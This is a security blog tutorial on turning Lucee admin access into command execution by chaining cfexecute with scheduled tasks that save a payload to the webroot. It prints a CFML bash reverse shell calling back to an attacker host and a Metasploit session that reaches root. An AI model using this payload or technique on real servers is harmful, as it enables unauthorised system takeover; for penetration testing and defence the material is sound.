Scheduled Tasks With Lucee: Abusing Built In Functionality For Command Execution

Alex Philiotis

What is Lucee?

Lucee is an open-source Cold Fusion Markup Language (CFML) application server and engine intended for rapid development and deployment. It provides a lot of out of the box functionality (tags and functions) to help build web applications. However, if an attacker has access to the Lucee dashboard, these very same functions allow an attacker to execute commands on the backend server.

 

How the Exploit Works

Successful exploitation of the scheduled tasks is predicated on having access to the web admin dashboard. The password may be acquired through path traversal, a default password, or other means.

Though there are multiple methods for achieving command execution, this method abuses two key features: The cfexecute function and scheduled tasks.

Lucee’s implementation of ColdFusion allows for server-side code execution to create dynamic pages. More importantly, Lucee allows in-line scripts to execute shell commands through the cfexecute function. When placed in a cfscript tag, it’s possible to execute any command as if it were in a PowerShell or Command prompt. For example, placing the following cfscript tag in a file called test.cfm and accessing it at the webroot is the equivalent of executing whoami on the backend

<cfscript>
            cfexecute(name="/bin/bash", arguments="-c 'whoami'",timeout=5);
</cfscript>

Of course, to perform this an attacker would need a way of loading a cfm file into the webroot. That’s where scheduled tasks come in; Lucee allows admins to create scheduled tasks that regularly query the same remote web page. In a legitimate use case, this would allow a user to access pages that publish data without waiting for a database transaction. For our purposes, scheduled tasks have an option to save the queried remote file, functioning as an arbitrary file upload.

With these two features combined, we can create a document that executes a shell command and save it to the servers web root through scheduled jobs. When we access it, our commands are executed.

 

Test Environment

To set up our test environment, we’ll spin up a new Docker container with Lucee.

https://github.com/isapir/lucee-docker

git clone https://github.com/isapir/lucee-docker.git

cd lucee-docker

docker image build . \
    -t isapir/lucee-8080 \
    --build-arg LUCEE_ADMIN_PASSWORD=admin123

docker container run -p 8080:8080 isapir/lucee-8080

The Lucee admin panel should now be accessible at http://127.0.0.1:8080/lucee/admin/web.cfm

 

In Practice

We’ll start by creating a simple bash reverse shell that connects back to our host machine and host it on a Python web server.

┌──(kali㉿kali)-[~]
└─$ cat exploit.cfm
<cfscript>
     cfexecute(name="/bin/bash", arguments="-c '/bin/bash -i >& /dev/tcp/10.0.0.7/1337 0>&1'",timeout=5);
</cfscript>


┌──(kali㉿kali)-[~]
└─$ python3 -m http.server --cgi 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

From there, we’ll access the Lucee dashboard and create our scheduled job.

The scheduled job must then be manually updated to enable logging and choose the location to save our file. The web root of the server can be found at the bottom of the Overview page

Returning to the Scheduled Tasks page, execute the job and we’ll receive a request to our HTTP server

Starting a netcat listener and accessing exploit.cfm at the web root, we receive a reverse shell.

 

Metasploit Module

There’s now a Metasploit module available for this! The module works for both Unix and Windows hosts and can execute commands just like above, including reverse shells, while existing modules for Lucee only work on Unix hosts.

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/lucee_scheduled_job.rb

msf6 > use exploit/multi/http/lucee_scheduled_job 
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/lucee_scheduled_job) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/lucee_scheduled_job) > set target 1
target => 1
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/http/lucee_scheduled_job) > set SRVPORT 8081
SRVPORT => 8081
msf6 exploit(multi/http/lucee_scheduled_job) > run

[*] Started reverse TCP handler on 192.168.19.145:4444 
[+] Authenticated successfully
[*] Using URL: http://192.168.19.145:8081/IMcleq0t3XJmV2zT.cfm
[+] Job IMcleq0t3XJmV2zT created successfully
[+] Job IMcleq0t3XJmV2zT updated successfully
[*] Executing scheduled job: IMcleq0t3XJmV2zT
[+] Job IMcleq0t3XJmV2zT executed successfully
[*] Attempting to access payload...
[*] Payload request received for /IMcleq0t3XJmV2zT.cfm?RequestTimeout=50 from 192.168.19.145
[*] Attempting to access payload...
[*] Received 500 response from IMcleq0t3XJmV2zT.cfm Check your listener!
[+] Exploit completed.
[*] Removing scheduled job IMcleq0t3XJmV2zT
[+] Scheduled job removed.
[+] Deleted /srv/www/app/webroot/IMcleq0t3XJmV2zT.cfm
[*] Command shell session 1 opened (192.168.19.145:4444 -> 192.168.19.145:55442) at 2023-03-02 10:31:19 -0600
[*] Server stopped.

id
uid=0(root) gid=0(root) groups=0(root)

References

https://www.lucee.org/

https://docs.lucee.org/reference/tags/script.html

https://docs.lucee.org/reference/tags/execute.html

https://github.com/isapir/lucee-docker

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/lucee_scheduled_job.rb

Are you ready to start your technology journey? The friendly experts at SynerComm are here to help.

From design to deployment to troubleshooting and everything in between, the friendly experts at SynerComm are always here to help.
linkedin facebook pinterest youtube rss twitter instagram facebook-blank rss-blank linkedin-blank pinterest youtube twitter instagram